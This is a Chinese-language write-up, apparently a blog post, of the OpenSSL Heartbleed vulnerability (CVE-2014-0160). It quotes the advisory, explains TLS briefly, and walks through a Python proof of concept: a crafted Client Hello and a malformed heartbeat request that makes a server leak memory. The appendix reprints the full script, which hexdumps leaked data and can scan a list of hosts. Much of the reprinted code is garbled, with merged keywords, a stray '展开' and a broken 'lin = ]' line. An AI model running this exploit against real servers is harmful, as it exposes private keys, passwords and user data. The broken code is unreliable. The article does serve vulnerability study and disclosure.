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2014年4月7日OpenSSL发布了安全公告，在OpenSSL1.0.1版本中存在严重漏洞(CVE-2014-0160)。OpenSSL Heartbleed模块存在一个BUG，问题存在于ssl/dl_both.c文件中的心跳部分，当攻击者构造一个特殊的数据包，满足用户心跳包中无法提供足够多的数据会导致memcpy函数把SSLv3记录之后的数据直接输出，该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64K的数据。
1、漏洞说明
OpenSSL Security Advisory [07 Apr 2014] ======================================== TLS heartbeat read overrun (CVE-2014-0160) ========================================== A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server. Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1. Thanks for Neel Mehta of Google Security for discovering this bug and to Adam Langley <[email protected]> and Bodo Moeller <[email protected]> for preparing the fix. Affected users should upgrade to OpenSSL 1.0.1g. Users unable to immediately upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS. 1.0.2 will be fixed in 1.0.2-beta2.
参考:
https://www.openssl.org/news/secadv_20140407.txt
http://heartbleed.com/
http://s3.jspenguin.org/ssltest.py
2.TLS/SSL 简介
TLS 和 SSL 是两个密切相关的协议, 均用于保证两个主机之间通信数据的机密性与完整性。
TLS或 SSL 可为已存在的应用层协议(例如. HTTP, LDAP, FTP, SMTP 及其他)，添加一个安全层。它同样可以用于创建VPN解决方案(例如, OpenVPN).
SSL 协议于1994年由Netscape开发。1996年，SSL 3.0 (最后版本)被发布。IETF 基于此协议进行了开发，取名为TLS。1999年，IETF在RFC2246中发布TLS 1.0。
TLS 或 SSL 协议，由多层构成. 最接近它的上层协议是可信传输协议(例如: TCP). 它可用于封装较高层次的协议。
协议握手 – 允许服务器与客户间相互验证, 协商加密算法,交换密钥.
协议警告 – 警告讯息传达警告的严重程度和警报的描述(错误，关闭，握手障碍等). 导致连接立即终止的一些致命结果，都会产生警告。警告信息会在当前连接状态下，被加密和压缩。
协议应用 – 位于传输层协议(TCP/IP)之上, 例如: HTTP, TELNET, FTP, SMTP.
为了在客户端与服务端建立一个安全会话，TLS/SSL需要完成几步验证，并创建密钥。握手过程，交互信息如下:
3.攻击流程
基于POC程序源代码(见附录A)，介绍一下CVE-2014-0160漏洞的攻击思路:
1. 建立socket连接
2. 发送TLS/SSL Client Hello请求
3. 发送畸形heartbleed数据
4. 检测漏洞存在
建立socket连接
def ssltest(target, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port))
多数情况下, 默认443提供HTTPS服务.
发送TLS/SSL Client Hello请求
tcp socket 建立后, 发送SSL/TLS Client Hello请求,
s.send(h2bin(hello))
Client Hello请求数据如下所示:
# ----------TLSv1---[Client Hello]-------------- #Secure Sockets Layer # TLSv1.1 Record Layer: Handshake Protocol: Client Hello # Content Type: Handshake (22) # Version: TLS 1.1 (0x0302) # Length: 220 # Handshake Protocol: Client Hello # Handshake Type: Client Hello (1) # Length: 216 # Version: TLS 1.1 (0x0302) # Random # Session ID Length: 0 # Cipher Suites Length: 102 # Cipher Suites (51 suites) # Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014) # Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a) # Cipher Suite: TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA (0xc022) # Cipher Suite: TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA (0xc021) # Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039) # Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038) # Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0088) # Cipher Suite: TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA (0x0087) # Cipher Suite: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA (0xc00f) # Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA (0xc005) # Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035) # Cipher Suite: TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0084) # Cipher Suite: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (0xc012) # Cipher Suite: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc008) # Cipher Suite: TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA (0xc01c) # Cipher Suite: TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA (0xc01b) # Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (0x0016) # Cipher Suite: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013) # Cipher Suite: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA (0xc00d) # Cipher Suite: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc003) # Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a) # Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013) # Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009) # Cipher Suite: TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA (0xc01f) # Cipher Suite: TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA (0xc01e) # Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033) # Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032) # Cipher Suite: TLS_DHE_RSA_WITH_SEED_CBC_SHA (0x009a) # Cipher Suite: TLS_DHE_DSS_WITH_SEED_CBC_SHA (0x0099) # Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0045) # Cipher Suite: TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA (0x0044) # Cipher Suite: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA (0xc00e) # Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA (0xc004) # Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f) # Cipher Suite: TLS_RSA_WITH_SEED_CBC_SHA (0x0096) # Cipher Suite: TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0041) # Cipher Suite: TLS_ECDHE_RSA_WITH_RC4_128_SHA (0xc011) # Cipher Suite: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (0xc007) # Cipher Suite: TLS_ECDH_RSA_WITH_RC4_128_SHA (0xc00c) # Cipher Suite: TLS_ECDH_ECDSA_WITH_RC4_128_SHA (0xc002) # Cipher Suite: TLS_RSA_WITH_RC4_128_SHA (0x0005) # Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004) # Cipher Suite: TLS_DHE_RSA_WITH_DES_CBC_SHA (0x0015) # Cipher Suite: TLS_DHE_DSS_WITH_DES_CBC_SHA (0x0012) # Cipher Suite: TLS_RSA_WITH_DES_CBC_SHA (0x0009) # Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA (0x0014) # Cipher Suite: TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA (0x0011) # Cipher Suite: TLS_RSA_EXPORT_WITH_DES40_CBC_SHA (0x0008) # Cipher Suite: TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 (0x0006) # Cipher Suite: TLS_RSA_EXPORT_WITH_RC4_40_MD5 (0x0003) # Cipher Suite: TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff) # Compression Methods Length: 1 # Compression Methods (1 method) # Extensions Length: 73 # Extension: ec_point_formats # Extension: elliptic_curves # Extension: SessionTicket TLS # Extension: Heartbeat hello = [ # TLSv1.1 Record Layer : Handshake Protocol: Client Hello "16" # Content Type: Handshake (22) "03 02" # Version: TLS 1.1 (0x0302) "00 dc" # Length: 220 # Handshake Protocol: Client Hello "01" # Handshake Type: Client Hello (1) "00 00 d8" # Length (216) "03 02" # Version: TLS 1.1 (0x0302) # Random "53 43 5b 90" # gmt_unix_time "9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de" # random_bytes "00" # Session ID Length: 0 "00 66" # Cipher Suite Length: 102 # Cipher Suites "c0 14" "c0 0a" "c0 22" "c0 21" "00 39" "00 38" "00 88" "00 87" "c0 0f" "c0 05" "00 35" "00 84" "c0 12" "c0 08" "c0 1c" "c0 1b" "00 16" "00 13" "c0 0d" "c0 03" "00 0a" "c0 13" "c0 09" "c0 1f" "c0 1e" "00 33" "00 32" "00 9a" "00 99" "00 45" "00 44" "c0 0e" "c0 04" "00 2f" "00 96" "00 41" "c0 11" "c0 07" "c0 0c" "c0 02" "00 05" "00 04" "00 15" "00 12" "00 09" "00 14" "00 11" "00 08" "00 06" "00 03" "00 ff" "01" # Compression Methods # Compression Methods (1 method) "00" # Compression Method: null "00 49" # Extension Length: 73 "00 0b" # Type: ec_point_formats "00 04" # Length: 4 "03" # EC point formats length: 3 # Elliptic curves point formats "00" # EC point format: uncompressed (0) "01" # EC point format: ansix962_compressed_prime "02" # EC point format: ansix962_compressed_char2 # Extension: elliptic_curves "00 0a" "00 34" "00 32" "00 0e" "00 0d" "00 19" "00 0b" "00 0c" "00 18" "00 09" "00 0a" "00 16" "00 17" "00 08" "00 06" "00 07" "00 14" "00 15" "00 04" "00 05" "00 12" "00 13" "00 01" "00 02" "00 03" "00 0f" "00 10" "00 11" "00 23 00 00" # Extension: SeesionTicket TLS "00 0f 00 01 01" # Extension: Heartbeat ]
发送Client Hello后，等待服务端响应, 检测TLS/SSLClient Hello会话是否成功.
while True: typ, ver, pay = recvmsg(s) if typ == None: return # Look for server hello done message. # typ == 22 ----> Handshake # if typ == 22 and ord(pay[0]) == 0x0E: break
此处服务器返回两次数据. Frame 10返回, 主要用于进一步获取 Server Hello 信息. Frame 11 为 TLS/SSL 的Server Hello 响应.
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select(展开, [], [], 5)
print 'read: ', r
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
hexdump(rdata)
return rdata
def recvmsg(s):
hdr = recvall(s, 5) # recvall(s, 5, timeout=5)
# 用于进一步确认 Server Hello的信息.
if hdr is None:
return None, None, None
# C ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]
# Python ---- [big-edition] + integer + integer + integer
# [Content Type] + [Version] + [Length]
typ, ver, ln = struct.unpack('>BHH', hdr)
# 返回 Server Hello 数据内容
pay = recvall(s, ln, 10)
if pay is None:
return None, None, None
return typ, ver, pay
Server Hello 消息返回, 说明TTL/SSL 会话成功建立, 此过程伴随有Certificate, Server Key Exchange, Server Hello Done.
发送畸形heartbleed数据
Server Hello成功返回后, 向服务器发送畸形heartbleed 请求. 如果服务器响应, 会伴随有 Encrypted Heartbeats Message，也就是泄露的内存数据.
s.send(h2bin(hb)) # Malformed Packet
Heartbleed 包数据如下:
# ---------TLSv1---[Heartbeat Request]------------ hb = [ # TLSv1.1 Record Layer: Heartbeat Request "18" # Content Type: Heartbeat (24) ---- (0x18) "03 02" # Version: TLS 1.1 (0x0302) "00 03" # Heartbeat Message: "01" # Type: Request (1) (0x01) "40 00" # Payload Length: (16384) (0x4000) ]
检测漏洞是否存在
畸形数据包发送完成后, 检测漏洞是否存在
while True: print "[+] receive data..." typ, ver, pay = recvmsg(s) if typ is None: print "[-] %s |NOT VULNERABLE" % target return False # TLSv1.1 Record Layer: Encrypted Heartbeat # Content Type: Heartbeat (24) # Version: TLS 1.1 (0x0302) # Length: 19 # Encrypted Heartbeat Message if typ == 24: # Content Type: Heartbeat (24) if len(pay) > 3: # 无数据返回. print "[*] %s |VULNERABLE" % target else: print "[-] %s |NOT VULNERABLE" % target return True if typ == 21: print "[-] %s |NOT VULNERABLE" % target return False
泄露的部分数据如下图所示.
修复建议:
请使用无漏洞版本
附录A – POC
#!/usr/bin/python #Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected]) #The author disclaims copyright to this source code. #Modified for simplified checking by Yonathan Klijnsma #Modified for multiple hosts by hap.ddup #http://seclists.org/fulldisclosure/2014/Apr/94 #http://blog.fox-it.com/2014/04/08/openssl-heartbleed-bug-live-blog/ #------------------------------------------------ # #OpenSSL versions 1.0.1 -- 1.0.1f are vulnerable # #------------------------------------------------ #importsys importstruct importsocket importtime importselect #importre fromoptparse import OptionParser #target= None #options= OptionParser(usage='%prog server [options]', description='Test for SSLheartbeat vulnerability (CVE-2014-0160)') #options.add_option('-p','--port', type='int', default=443, help='TCP port to test (default: 443)') #options.add_option('-d','--dest', type='string',dest='host', help='HOST to test') #options.add_option('-f','--file', type='string',dest='filename', help='Hosts in the FILE to test ') defh2bin(x): return x.replace(' ', '').replace('\n','').decode('hex') #----------TLSv1---[Client Hello]-------------- #SecureSockets Layer # TLSv1.1 Record Layer: Handshake Protocol:Client Hello # Content Type: Handshake (22) # Version: TLS 1.1 (0x0302) # Length: 220 # Handshake Protocol: Client Hello # Handshake Type: Client Hello (1) # Length: 216 # Version: TLS 1.1 (0x0302) # Random # Session ID Length: 0 # Cipher Suites Length: 102 # Cipher Suites (51 suites) # Cipher Suite:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014) # Cipher Suite:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a) # Cipher Suite:TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA (0xc022) # Cipher Suite:TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA (0xc021) # Cipher Suite:TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039) # Cipher Suite:TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038) # Cipher Suite:TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0088) # Cipher Suite:TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA (0x0087) # Cipher Suite:TLS_ECDH_RSA_WITH_AES_256_CBC_SHA (0xc00f) # Cipher Suite:TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA (0xc005) # Cipher Suite:TLS_RSA_WITH_AES_256_CBC_SHA (0x0035) # Cipher Suite:TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0084) # Cipher Suite:TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (0xc012) # Cipher Suite:TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc008) # Cipher Suite:TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA (0xc01c) # Cipher Suite:TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA (0xc01b) # Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA(0x0016) # Cipher Suite:TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013) # Cipher Suite:TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA (0xc00d) # Cipher Suite:TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc003) # Cipher Suite:TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a) # Cipher Suite:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013) # Cipher Suite:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009) # Cipher Suite:TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA (0xc01f) # Cipher Suite:TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA (0xc01e) # Cipher Suite:TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033) # Cipher Suite:TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032) # Cipher Suite:TLS_DHE_RSA_WITH_SEED_CBC_SHA (0x009a) # Cipher Suite:TLS_DHE_DSS_WITH_SEED_CBC_SHA (0x0099) # Cipher Suite:TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0045) # Cipher Suite:TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA (0x0044) # Cipher Suite:TLS_ECDH_RSA_WITH_AES_128_CBC_SHA (0xc00e) # Cipher Suite:TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA (0xc004) # Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA(0x002f) # Cipher Suite:TLS_RSA_WITH_SEED_CBC_SHA (0x0096) # Cipher Suite:TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0041) # Cipher Suite:TLS_ECDHE_RSA_WITH_RC4_128_SHA (0xc011) # Cipher Suite:TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (0xc007) # Cipher Suite:TLS_ECDH_RSA_WITH_RC4_128_SHA (0xc00c) # Cipher Suite:TLS_ECDH_ECDSA_WITH_RC4_128_SHA (0xc002) # Cipher Suite:TLS_RSA_WITH_RC4_128_SHA (0x0005) # Cipher Suite:TLS_RSA_WITH_RC4_128_MD5 (0x0004) # Cipher Suite:TLS_DHE_RSA_WITH_DES_CBC_SHA (0x0015) # Cipher Suite:TLS_DHE_DSS_WITH_DES_CBC_SHA (0x0012) # Cipher Suite:TLS_RSA_WITH_DES_CBC_SHA (0x0009) # Cipher Suite:TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA (0x0014) # Cipher Suite:TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA (0x0011) # Cipher Suite:TLS_RSA_EXPORT_WITH_DES40_CBC_SHA (0x0008) # Cipher Suite:TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 (0x0006) # Cipher Suite:TLS_RSA_EXPORT_WITH_RC4_40_MD5 (0x0003) # Cipher Suite:TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff) # Compression Methods Length: 1 # Compression Methods (1 method) # Extensions Length: 73 # Extension: ec_point_formats # Extension: elliptic_curves # Extension: SessionTicket TLS # Extension: Heartbeat hello= [ # TLSv1.1 Record Layer : HandshakeProtocol: Client Hello "16" # Content Type: Handshake (22) "0302" # Version: TLS 1.1 (0x0302) "00dc" # Length: 220 # Handshake Protocol: Client Hello "01" # Handshake Type: Client Hello (1) "0000 d8" # Length (216) "0302" # Version: TLS 1.1 (0x0302) # Random "5343 5b 90" # gmt_unix_time "9d9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03 90 9f 77 04 33 d4de" # random_bytes "00" # Session ID Length: 0 "0066" # Cipher Suite Length: 102 # Cipher Suites "c014" "c00a" "c022" "c021" "0039" "0038" "0088" "0087" "c00f" "c005" "0035" "0084" "c012" "c008" "c01c" "c01b" "0016" "0013" "c00d" "c003" "000a" "c013" "c009" "c01f" "c01e" "0033" "0032" "009a" "0099" "0045" "0044" "c00e" "c004" "002f" "0096" "0041" "c011" "c007" "c00c" "c002" "0005" "0004" "0015" "0012" "0009" "0014" "0011" "0008" "0006" "0003" "00ff" "01" #Compression Methods # Compression Methods (1 method) "00" # Compression Method: null "0049" # Extension Length: 73 "000b" # Type: ec_point_formats "0004" # Length: 4 "03" # EC point formats length: 3 # Elliptic curves point formats "00" # EC point format: uncompressed (0) "01" # EC point format:ansix962_compressed_prime "02" # EC point format:ansix962_compressed_char2 # Extension: elliptic_curves "000a" "0034" "0032" "000e" "000d" "0019" "000b" "000c" "0018" "0009" "000a" "0016" "0017" "0008" "0006" "0007" "0014" "0015" "0004" "0005" "0012" "0013" "0001" "0002" "0003" "000f" "0010" "0011" "0023 00 00" # Extension:SeesionTicket TLS "000f 00 01 01" # Extension:Heartbeat ] #---------TLSv1---[Heartbeat Request]------------ hb= [ # TLSv1.1 Record Layer: HeartbeatRequest "18" # Content Type: Heartbeat (24) ----(0x18) "0302" # Version: TLS 1.1 (0x0302) "0003" # Heartbeat Message: "01" # Type: Request (1) (0x01) "4000" # Payload Length: (16384) (0x4000) ] hello= hello[0].replace("","").replace("\n","") hb= hb[0].replace("","").replace("\n","") defhexdump(s): for b in xrange(0, len(s), 16): lin = ] hxdat = ' '.join('%02X' % ord(c) for cin lin) pdat = ''.join((c if 32 <= ord(c)<= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print defrecvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select(展开, [], [], 5) print 'read: ', r if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) hexdump(rdata) return rdata defrecvmsg(s): hdr = recvall(s, 5) # recvall(s, 5, timeout=5) if hdr is None: return None, None, None # C ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short] # Python ---- [big-edition] + integer +integer + integer # [Content Type] + [Version] + [Length] typ, ver, ln = struct.unpack('>BHH',hdr) pay = recvall(s, ln, 10) if pay is None: return None, None, None return typ, ver, pay defhit_hb(s, target): #global target s.send(h2bin(hb)) while True: print "[+] receive data..." typ, ver, pay = recvmsg(s) if typ is None: print "[-] %s |NOTVULNERABLE" % target return False # TLSv1.1 Record Layer: EncryptedHeartbeat # Content Type: Heartbeat (24) # Version: TLS 1.1 (0x0302) # Length: 19 # Encrypted Heartbeat Message if typ == 24: if len(pay) > 3: print "[*] %s |VULNERABLE" %target else: print "[-] %s |NOTVULNERABLE" % target return True if typ == 21: print "[-] %s |NOTVULNERABLE" % target return False defssltest(target, port): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((target, port)) s.send(h2bin(hello)) while True: typ, ver, pay = recvmsg(s) if typ == None: return # Look for server hello done message. # typ == 22 ----> Handshake # if typ == 22 and ord(pay[0]) == 0x0E: break #sys.stdout.flush() print "[+] send payload: %s" % hb s.send(h2bin(hb)) # Malformed Packet return hit_hb(s, target) # ------------- ********* defmain(): #global target options = OptionParser(usage='%prog server[options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port',type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-d', '--dest',dest='host', help='HOST to test') options.add_option('-f', '--file',dest='filename', help='Hosts in the FILE to test ') (opts, args) = options.parse_args() #print (opts, args) #if len(args) < 1: # options.print_help() # return if opts.host: ssltest(opts.host, opts.port) return if opts.filename: hostfile=open(opts.filename,'r').readlines() for host in hostfile: host = host.strip() if len(host) > 3: # x.x ssltest(host, opts.port) return if len(args) < 1: options.print_help() return if__name__ == '__main__': main()
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